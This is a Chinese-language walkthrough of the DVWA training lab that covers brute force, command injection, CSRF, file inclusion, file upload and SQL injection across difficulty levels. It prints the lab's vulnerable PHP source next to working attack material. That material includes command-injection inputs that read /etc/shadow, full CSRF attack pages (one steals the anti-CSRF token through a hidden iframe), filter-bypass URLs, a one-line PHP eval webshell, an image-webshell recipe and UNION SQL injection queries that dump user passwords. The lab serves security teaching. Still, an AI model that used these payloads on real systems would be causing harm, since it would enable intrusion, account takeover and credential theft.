DVWA (Dam Vulnerable Web Application)是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了暴力破解,CSRF,文件上传,SQL注入,XSS等常见的一些安全漏洞测试例子,通过对DVWA中的漏洞练习,达到知识的巩固与提高。
利用密码字典,使用穷举法猜解出用户口令,是现在最为广泛使用的攻击手法之一;
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
echo "Welcome to the password protected area {$user}
"; echo ""; } else { echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Username and/or password incorrect.
经过对源码的查看,可以发现,后台只是验证了参数Login是否被设置,没有任何的防爆破机制,同时对于参数username、password没有做任何过滤,存在明显的sql注入漏洞;
尝试万能密码登录;
EG:
admin' or '1'='1
//登录成功;
Proxy模块代理抓包,Intruder模块进行爆破()设置好positions为(cluster bomb),payloads设置好使用的字典,就可以开始进行爆破了,一般是观察响应包的长度来判断是否可能是正确的账户密码;
可以看到password的响应包长度(length)与其他的响应包的长度有所不同,推测password可能为正确密码,手工尝试验证登陆成功;
<?php
if( isset( $_GET[ 'Login' ] ) ) {
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
echo "Welcome to the password protected area {$user}
"; echo ""; } else { sleep( 2 ); echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Username and/or password incorrect.
经过对代码的查看,可以发现,主要在原有的基础上增加了mysql_real_escape_string()函数,会对字符串中的特殊符号(\x00,\n,\r,\,’,",\x1a)进行转义,能够对一些sql注入攻击进行防御,如果对于 MySQL5.5.37以下版本,设置了编码格式为GBK,能够构造编码绕过mysql_real_escape_string() 对单引号的转义;同时,对于$pass做了MD5校验,杜绝了通过对参数password进行sql注入的可能性。但是,依然没有加入有效的防爆破机制(可以利用工具进行爆破);
对于MySQL5.5.37以下版本,且设置了编码格式为GBK,可以尝试使用(%df,%bf,%a0,%09,%0a,%0b,%0c等来绕过);
Proxy模块代理抓包,Intruder模块进行爆破()设置好positions为(cluster bomb),payloads设置好使用的字典,就可以开始进行爆破了,一般是观察响应包的长度来判断是否可能是正确的账户密码;
可以看到password的响应包长度(length)与其他的响应包的长度有所不同,推测password可能为正确密码,手工尝试验证登陆成功;
<?php
if( isset( $_GET[ 'Login' ] ) ) {
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
echo "Welcome to the password protected area {$user}
"; echo ""; } else { sleep( rand( 0, 3 ) ); echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } generateSessionToken(); ?>
Username and/or password incorrect.
经过对代码的查看,可以发现,加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token,同时使用了stripslashes()函数(去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个),mysql_real_escape_string()对参数username、password进行过滤、转义,进一步抵御sql注入,同时,由于加入了Anti-CSRFtoken预防了重复提交,这里就不推荐用工具进行爆破,但是可以使用脚本去爆破(获取页面中的user_token,然后配合字典构造url(这里的数据提交是使用的GET型)进行爆破,同样可以根据响应包的长度来判断是否可能是正确的账户密码);
对于Impossible级别的代码,加入了比较可靠的防爆破机制,后台当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续。对于数据库则是采用了更为安全的PDO(PHP Data Object)(对MySQL执行预编译操作)机制防御sql注入,由于不能使用PDO扩展本身执行任何数据库操作,以至于SQL注入无法实现。
通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的;
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
$cmd = shell_exec( 'ping ' . $target );
}
else {
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
echo "{$cmd}
";
}
经过对代码进行查看,stristr()函数(搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分),可以看到,服务器可以通过判断操作系统的不同,执行不同ping命令,但是对ip参数并未做任何的过滤,这就存在严重的命令注入漏洞;
逻辑运算符 | 使用方式 |
---|---|
& | Command1&Command2,先执行Command1,不管是否成功,都会执行Command2 |
&& | Command1&&Command2,先执行Command1 执行成功后再执行Command2,否则不执行Command2 |
|| | Command 1 || Command 2,只有当Command1 执行失败才会执行Command2,否则只执行Command1 |
| | Command 1 | Command 2,表示将Command1的输出作为Command2的输入,并且只打印Command 2执行的结果 |
Windows
EG:
127.0.0.1 && net user
//查看主机中存在的用户;
...
127.0.0.1 && cat /etc/shadow
//查看shadow文件内容;
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
$substitutions = array(
'&&' => '',
';' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
$cmd = shell_exec( 'ping ' . $target );
}
else {
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
echo "{$cmd}
";
}
?>
经过对代码的查看,可以查看到,服务器端对ip参数做了过滤,即将“&&”和“;”替换为空,但是可以使用其他方式(如使用类似字符&,||和利用字符替换后的空格重新构造)进行绕过;
Windows
EG:
127.0.0.1&net user
127.0.0.1&;&net user
//查看主机中存在的用户;
...
Linux
EG:
127.0.0.1 & cat /etc/shadow
127.0.0.1 &;& cat /etc/shadow
//查看shadow文件内容;
...
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
$target = trim($_REQUEST[ 'ip' ]);
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
$cmd = shell_exec( 'ping ' . $target );
}
else {
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
echo "{$cmd}
";
}
?>
经过对代码的查看,可以发现,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性(无法完全过滤),可以尝试使用管道符(|)()绕过过滤;
Windows
EG:
127.0.0.1|net user
//查看主机中存在的用户;
...
127.0.0.1|cat /etc/shadow
//查看shadow文件内容;
...
对于Impossible级别的代码,加入了Anti-CSRF token(token验证机制,防止CSRF),同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞;
利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等);
<?php
if( isset( $_GET[ 'Change' ] ) ) {
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
if( $pass_new == $pass_conf ) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
echo "Password Changed."; } else { echo "
Passwords did not match."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } generateSessionToken(); ?>
经过对源码的查看,可以发现,服务器在接收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,然而并没有任何的防CSRF机制,所以针对GET请求,可以构造链接来伪造真实的请求;
利用抓取的数据包中的提交请求进行构造
EG:
http://192.168.1.104/dvwa/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Chang
//受害者点击该链接后就会触发,向服务器发出改密请求(在受害者未知情的情况下进行操作);
用短链接来隐藏URL(当受害者点击该短链接,浏览器就会自动跳转到真实网站),利用可以生成短链接的的工具将攻击链接变成短链接;
EG:
http://tool.chinaz.com/tools/dwz.aspx
https://dwz.cn/
...
现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击(一般使用,
<html>
<body>
<img src="http://192.168.1.104/dvwa/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Chang border="0" style="display:none;"/>
<h1>404<h1>
<--! <h1 style="background: url('http://192.168.1.104/dvwa/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Chang');">404</h1> -->
<h2>file not found.<h2>
</body>
</html>
利用Burpsuite中的CRSF POC Generator模块生成攻击页面
EG:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.104/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="test" />
<input type="hidden" name="password_conf" value="test" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
<!-- 点击submit request即可修改密码 -->
</form>
</body>
</html>
<?php
if( isset( $_GET[ 'Change' ] ) ) {
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
if( $pass_new == $pass_conf ) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
echo "Password Changed."; } else { echo "
Passwords did not match."; } } else { echo "
That request didn't look correct."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
经过对源码的查看,可以发现,服务器首先检测referer中,是否包含主机名称,如果存在,然后再进行更改密码的操作,过滤规则是http包头的Referer参数的值中必须包含主机名(这里是192.168.1.104),
可以将伪造的攻击页面命名为192.168.1.104.html(伪造的攻击页面被放置在攻击者的服务器里)进行绕过(这里只是更改了伪造的攻击页面的名字,内容和low级别的攻击页面内容一样的);
<?php
if( isset( $_GET[ 'Change' ] ) ) {
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
if( $pass_new == $pass_conf ) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
echo "Password Changed."; } else { echo "
Passwords did not match."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } generateSessionToken(); ?>
经过对源码的查看,可以发现,代码中加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token值,向服务器发起请求时,需要提交token值,而服务器在收到请求时,会优先检查token值,只有当token值正确时,才会处理客户端的请求,要绕过Anti-CSRF token机制,首先要获取token值,再使用这个token值进行修改密码;
以下构造代码(攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token值,并向服务器发送改密请求,以完成CSRF攻击);
EG:
<html>
<script type="text/javascript">
function attack(){
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
<body onload="attack()">
<iframe src="http://192.168.1.104/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
<form method="GET" id="transfer" action="http://192.168.1.104/dvwa/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="test">
<input type="hidden" name="password_conf" value="test">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
</html>
但是对于实际的应用中,一般是通过XSS获取token,然后再利用CSRF进行攻击(如下,在DVWA的存储型XSS中获取user_token值);
EG:
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)><iframe>
//这里的Name存在XSS漏洞,于是抓包,改参数,成功弹出token值
通过代码可以看到,Impossible级别的代码利用PDO技术防御SQL注入,并且要求用户更改密码时还要输入原始密码,以至于攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击;
指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)(服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行);
<php
//Thepagewewishtodisplay
$file=$_GET['page'];
>
经过对源码的查看,可以发现,服务器后台对参数(page)没有做任何的检查和过滤,尝试直接构造URL进行漏洞利用;
EG:
http://192.168.1.104/dvwa/vulnerabilities/fi/?page=phpinfo.php
//服务器返回页面报错,得知网站的根目录(G:\Phpstudy\WWW\...);
利用得到绝对路径重新构造url;
EG:
http://192.168.1.104/dvwa/vulnerabilities/fi/?page=G:\Phpstudy\WWW\dvwa\php.ini
//http://192.168.1.104/dvwa/vulnerabilities/fi/?page=http://192.168.1.104/dvwa/php.ini
//查看配置文件php.ini;
http://192.168.1.104/dvwa/vulnerabilities/fi/?page=G:\Phpstudy\WWW\dvwa\phpinfo.php
//http://192.168.1.104/dvwa/vulnerabilities/fi/?page=http://192.168.1.104/dvwa/phpinfo.php
//查看phpinfo.php文件;
...
当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行;
通过已知的网站绝对路径,在远程服务器192.168.1.194的网站根目录上传一个test.txt文件,内容为:
<?php
phpinfo();
?>
http://192.168.1.104/dvwa/vulnerabilities/fi/?page=G:\Phpstudy\WWW\test.txt
//http://192.168.1.104/dvwa/vulnerabilities/fi/?page=http://192.168.1.104/test.txt
//服务器返回页面为phpinfo()函数执行的结果;(也可以对URL进行url编码进行隐蔽)
经过对源码的查看,可以发现,服务器后台通过str_replace()函数,对参数(page)进行了一定的处理,将”http:// ”,”https://”, ” …/”,”…\”替换为空字符了,可以考虑使用双写关键字符串或者大小写绕过过滤和使用绝对路径来绕过限制;
EG:
http://192.168.1.104/dvwa/vulnerabilities/fi/?page=G:\Phpstudy\WWW\dvwa\php.ini
//http://192.168.1.104/dvwa/vulnerabilities/fi/?page=htthttp://p://192.168.1.104/dvwa/php.ini
//http://192.168.1.104/dvwa/vulnerabilities/fi/?page=httP://192.168.1.104/dvwa/php.ini
//查看配置文件php.ini;
http://192.168.1.104/dvwa/vulnerabilities/fi/?page=G:\Phpstudy\WWW\dvwa\phpinfo.php
//http://192.168.1.104/dvwa/vulnerabilities/fi/?page=htthttp://p://192.168.1.104/dvwa/phpinfo.php
//http://192.168.1.104/dvwa/vulnerabilities/fi/?page=httP://192.168.1.104/dvwa/phpinfo.php
//查看phpinfo.php文件;
EG:
http://192.168.1.104/dvwa/vulnerabilities/fi/?page=G:\Phpstudy\WWW\test.txt
//http://192.168.1.104/dvwa/vulnerabilities/fi/?page=htthttp://p://192.168.1.104/test.txt
//http://192.168.1.104/dvwa/vulnerabilities/fi/?page=Http://192.168.1.104/test.txt
//服务器返回页面为phpinfo()函数执行的结果;(不能对URL进行url编码进行隐蔽)
经过对源码的查看,可以发现,服务器后台通过fnmatch()函数检查参数(page),只有当要求参数(page)的开头是file时,服务器才会去包含相应的文件,可以考虑使用file协议(file:///)绕过限制;
EG:
http://192.168.1.104/dvwa/vulnerabilities/fi/?page=file:///G:\Phpstudy\WWW\dvwa\php.ini
//查看配置文件php.ini;
http://192.168.1.104/dvwa/vulnerabilities/fi/?page=file:///G:\Phpstudy\WWW\dvwa\phpinfo.php
//查看phpinfo.php文件;
...
EG:
http://192.168.1.104/dvwa/vulnerabilities/fi/?page=file:///G:\Phpstudy\WWW\test.txt
//http://192.168.1.104/dvwa/vulnerabilities/fi/?page=file%3a%2f%2f%2fg%3a%5cphpstudy%5cwww%5ctest.txt
//服务器返回页面为phpinfo()函数执行的结果;(也可以对URL进行url编码进行隐蔽)
经过对源码的查看,可以发现,服务器后台使用了白名单机制进行防护,使得参数(page)值只能为“include.php”、“file1.php”、“file2.php”、“file3.php”四个中的一个,使得文件包含漏洞消失;
由于服务器后台对用户上传文件的类型(文档、图片、头像、视频等),内容没有进行严格的过滤、检查,使得攻击者可以直接提交修改过的数据绕过扩展名的检验,上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的(攻击者将恶意文件传递给解释器去执行,之后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理,服务器命令执行等恶意操作。根据网站使用及可解析的程序脚本不同,可以上传的恶意脚本可以是PHP、ASP、JSP、ASPX文件等);
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!
";
}
}
?>
经过对源码的查看,可以发现,服务器后台对于用户的上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,同时服务器后台在生成上传路径后,还会检查是否上传成功并返回相应的提示信息;
直接上传一个PHP小马(一句话);
EG:
<?php
@eval($_POST['test']);
?>
//服务器返回页面正确,上传成功;
通过服务器返回页面得知,上传文件的绝对路径是(http://192.168.1.104/dvwa/hackable/uploads/test.php),使用工具连接该文件;
成功获取网站服务器的webshell;
Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!"; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.'; } } ?>
经过对源码的查看,可以发现,服务器后台对用户可上传文件的类型、大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB);
本地新建一个PHP小马(一句话)的php文件(test.php),然后改名为(test.jpg),然后上传;
通过服务器返回页面得知,上传文件的绝对路径是(http://192.168.1.104/dvwa/hackable/uploads/test.jpg),使用工具连接该文件;
工具显示错误,由于菜刀的原理是向上传文件发送包含参数(test)的post请求,通过控制参数(test)来执行不同的命令,而这里服务器将一句话木马文件解析成了图片文件,因此向其发送post请求时,服务器只会返回这个“图片”文件,并不会执行相应命令,由于之前在File Inclusion(远程文件包含)漏洞利用时,可以执行test.txt文件(文件内容为一个php编写的一段代码)中的PHP函数,这里可以考虑使用;
使用antsword的连接路径:http://192.168.1.104/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.1.104/dvwa/hackable/uploads/test.jpg,附加上Cookie信息;
使用BURPSUITE抓取上传的数据包,更改上传文件的文件名(test.jpg->test.php),然后上传;
通过服务器返回页面得知,上传文件的绝对路径是(http://192.168.1.104/dvwa/hackable/uploads/test.jpg),使用工具连接该文件,连接成功,成功获取网站服务器的webshell;
在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,所以可以把上传文件命名为test.php%00.jpg,绕过文件类型检查,同时由于服务器后台会认为其文件名为test.php,将其解析为php文件,再用工具连接,即可获取webshell;
Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!"; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.'; } } ?>
经过对源码的查看,可以发现,服务器后台会读取文件名中最后一个".”后的字符串,检查上传文件名类型是否是"jpg,jpeg,png"三者之一,这样能够限制上传文件类型,同时,getimagesize()函数更是限制了上传文件的文件头必须为图像类型,所以可以考虑使用%00截断的方式和使用图片马(使用copy将php木马文件隐藏在图片中绕过文件检查(copy + ))并利用文件包含漏洞获取webshell;
在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,所以可以把上传文件命名为test.php%00.jpg,绕过文件类型检查,同时由于服务器后台会认为其文件名为test.php,将其解析为php文件,再用工具连接,即可获取webshell;
创建图片马: copy test.php+test.jpg hack.jpg
使用antsword的连接路径:http://192.168.1.104/dvwa/vulnerabilities/fi/?page=file:///G:\Phpstudy\WWW\dvwa\hackable\uploads\hack.jpg;
使用antsword连接该文件(连接需要添加Cookie信息);
Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!"; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.'; } } ?>
经过对源码的查看,可以发现,服务器后台对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件;
将恶意SQL语句代码作为输入数据传递到服务器,然后它被拼接到SQL语句中交给数据库解析执行,导致执行一些恶意的操作;
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
First name: {$first}
Surname: {$last}
经过对源码的查看,可以发现服务器后台,对于参数(id)没有进行任何的检查与过滤,存在SQL注入(闭合字符为单引号);
EG:
1' and 1=1 #
//服务器返回页面正确(预期正确),尝试1=2;
1' and 1=2 #
//服务器返回页面错误(预期错误),参数id存在注入,为字符型注入,闭合字符为单引号(');
EG:
1' order by 1 #
//服务器返回页面正确(预期正确),
1' order by 2 #
//服务器返回页面正确(预期错误),
1' order by 3 #
//服务器返回页面错误(预期错误),
//字段数为(2);
EG:
1' and 1=2 union select 1,database() #
//查询到当前数据库为(dvwa);
EG:
1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
//查询到当前数据库中存在的表有(guestbook,users);
EG:
1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
查询到表(users)的字段名有(user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password);
EG:
1' and 1=2 union select 1,group_concat(0x7c,user,0x7c,password,0x7c) from users #
...
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( ''
. mysqli_error($GLOBALS["___mysqli_ston"]) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
First name: {$first}
Surname: {$last}
'. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
经过对源码的查看,可以发现服务器后台,利用mysql_real_escape_string()函数对特殊符号(\x00,\n,\r,\,’,”,\x1a)进行转义,同时前端页面设置了下拉选择表单,限制控制用户的输入,可以考虑使用(%df,%bf,%a0,%09,%0a,%0b,%0c等来绕过),同时使用抓包工具抓取数据包,更改数据包内容绕过前端限制;
EG:
id=1 and 1=1 #&Submit=Submit
//服务器返回页面正确(预期正确),尝试1=2;
id=1 and 1=2 #&Submit=Submit
//服务器返回页面错误(预期错误),参数id存在注入,为数字型注入;
EG:
...
id=1 order by 3 #&Submit=Submit
//服务器返回页面错误(预期错误),
//字段数为(2);
EG:
id=1 and 1=2 union select 1,database() #&Submit=Submit
//查询到当前数据库为(dvwa);
EG:
id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&Submit=Submit
//查询到当前数据库中存在的表有(guestbook,users);
EG:
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&Submit=Submit
查询到表(users)的字段名有(user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password);
EG:
1 and 1=2 union select 1,group_concat(0x7c,user,0x7c,password,0x7c) from users #&Submit=Submit
...
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( 'Something went wrong.
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}
First name: {$first}
Surname: {$last}
";
}
